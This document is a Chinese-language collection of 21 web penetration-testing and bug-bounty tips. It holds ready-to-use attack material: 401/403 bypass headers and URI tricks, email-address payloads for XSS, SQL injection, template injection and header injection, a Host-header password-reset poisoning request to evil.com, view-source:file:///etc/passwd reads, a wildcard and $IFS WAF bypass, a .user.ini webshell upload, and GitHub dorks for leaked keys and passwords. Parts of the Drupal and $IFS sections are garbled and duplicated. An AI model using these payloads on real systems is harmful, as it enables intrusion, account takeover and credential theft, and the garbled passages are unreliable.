渗透测试漏洞挖掘技巧

文章目录

  • 一、使用.json进行敏感数据泄漏
  • 二、如何查找身份验证绕过漏洞
  • 三、在Drupal上找到隐藏的页面
  • 四、遗忘的数据库备份
  • 五、电子邮件地址payloads
  • 六、HTTP主机头:localhost
  • 七、通过篡改URI访问管理面板
  • 八、通过URL编码空格访问管理面板
  • 九、篡改URI绕过403
  • 十、Bypass401、403
  • 十一、文件上传引申其他漏洞
  • 十二、文件上传.user.ini绕过
  • 十三、密码中毒绕过账户接管
  • 十四、查看源代码来查找LFI
  • 十五、在访问admin路径面板时可以通过添加%20来绕过
  • 十六、使用通配符绕Waf
  • 十七、绕过邮件过滤导致Sql注入
  • 十八、手机发送短信时间被限制
  • 十九、图片验证码
  • 二十、模板注入
  • 二十一、使用github dorks帮助我们寻找一些敏感信息

一、使用.json进行敏感数据泄漏

这是使用.json扩展名实现敏感数据泄漏的提示。
请求:GET /ResetPassword HTTP/1.1{“email”:“[email protected]”}
响应:HTTP/1.1 200 OK

e.g.
请求:GET /ResetPassword.json HTTP/1.1{“email”:“[email protected]”}
响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!

二、如何查找身份验证绕过漏洞

这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
请求:GET /delete?user=test HTTP/1.1
响应:HTTP/1.1 401 Unauthorized

现在让我们尝试一下:
请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
响应:HTTP/1.1 302 Found
这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。

三、在Drupal上找到隐藏的页面

如果您正在Drupal网站上找漏洞,在‘/node/ ’上使用 B u r p S u i t e I n t r u d e r (或其他类似工具)进行模糊测试,其中’ ’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’ 上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’是一个数字(从1到500)。
例如:
https://target.com/node/1
https://target.com/node/2
https://target.com/node/3

https://target.com/node/499
https://target.com/node/500
很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。

四、遗忘的数据库备份

这是使用此小型但快速的模糊列表查找数据库备份的list:
/back.sql
/backup.sql
/accounts.sql
/backups.sql
/clients.sql
/customers.sql
/data.sql
/database.sql
/database.sqlite
/users.sql
/db.sql
/db.sqlite
/db_backup.sql
/dbase.sql
/dbdump.sql
setup.sql
sqldump.sql
/dump.sql
/mysql.sql
/sql.sql
/temp.sql
旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。

五、电子邮件地址payloads

以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。
XSS(跨站脚本):
test+(”@example.com
模板注入:
“<%=7 * 7 %>”@example.com
test+(${{7*7}})@example.com
SQL注入
“'OR 1=1 – '”@example.com
“mail’);DROP TABLE users;–”@example.com
SSRF(服务器端请求伪造):
[email protected]
john.doe@[127.0.0.1]
参数污染:
[email protected]
(电子邮件)标头注入:
“%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
[email protected]>\r\nRCPTTO:

六、HTTP主机头:localhost

在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问:
特殊功能
内部端口
配置文件,SSL密钥
目录列表,等等…
我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
https://github.com/ffuf/ffuf
https://nmap.org/nsedoc/scripts/http-vhosts.html
https://github.com/jobertabma/virtual-host-discovery
注意,我们也可以使用curl或wget:
curl-v -H “Host: localhost” https://target/
wget-d --header=“Host: localhost” https://target/

七、通过篡改URI访问管理面板

这是通过以下方式篡改URI来访问管理面板的超级简单技巧:
https://target.com/admin/ –> HTTP 302(重定向到登录页面)
https://target.com/admin…;/ –> HTTP 200 OK
也尝试以下技巧,其他人对此推文发表了评论:
https://target.com/…/admin
https://target.com/whatever/…;/admin

八、通过URL编码空格访问管理面板

通过篡改URI并添加额外的空格(%20)来帮助访问受限区域
target.com/admin –> HTTP 302 (重定向到登陆页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。

九、篡改URI绕过403

该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制:
site.com/secret –>禁止HTTP 403
site.com/secret/ ->HTTP 200 OK
site.com/secret/。 –> HTTP 200 ok
site.com//secret// ->HTTP 200 OK
site.com/./secret/… –> HTTP 200 OK
很少见到,但可以尝试一下。

十、Bypass401、403

以下是有关如何绕过403禁止和401未经授权错误的提示列表:
1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
/accessible/…;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
7、模糊化:进一步对文件或目录进行暴力处理。
Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。

十一、文件上传引申其他漏洞

在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值:
…/…/…/tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
.jpg/png —> for XSS

; sleep 10; —> for command injections

使用这些Payload,我们可能会触发其他漏洞。

十二、文件上传.user.ini绕过

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功
有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920

十三、密码中毒绕过账户接管

该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。
考虑以下3个请求:
1、正常要求:
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
Link received:
https://target.com/reset-link=1g2f3guy23g
2、基本HHI(主机头注入):
Request:
POST /password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
none
Error 404 - request blocked
3、Bypass
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g
注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。

十四、查看源代码来查找LFI

此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。
它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
好了,现在的实际提示是:
作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
开发人员经常在黑名单中忘记“查看源代码”功能。

十五、在访问admin路径面板时可以通过添加%20来绕过

target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

十六、使用通配符绕Waf

如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
? = any single character

  • = any string, including zero length string!
    Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
    I F S = I n t e r n a l F i e l d S e p a r a t o r = [ s p a c e ] , [ t a b ] o r a [ n e w l i n e ] 例如,所有这些都应在典型的 L i n u x 系统上执行“ / b i n / c a t / e t c / p a s s w d ”: / ∗ / ? a t IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd//?atIFS/???/???swd
    /****/?at I F S / ? ? ? / ∗ s w d / ∗ ∗ ∗ ∗ / ? a t IFS/???/*swd /****/?at IFS/???/swd//?atIFS/???/*******swd

十七、绕过邮件过滤导致Sql注入

渗透测试漏洞挖掘技巧_第1张图片渗透测试漏洞挖掘技巧_第2张图片

在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
“injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。

十八、手机发送短信时间被限制

手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

十九、图片验证码

图片验证码可设置为空,如:code=undefined

二十、模板注入

在{{xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{{1+1}}

二十一、使用github dorks帮助我们寻找一些敏感信息

比如:
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

你可能感兴趣的:(web安全)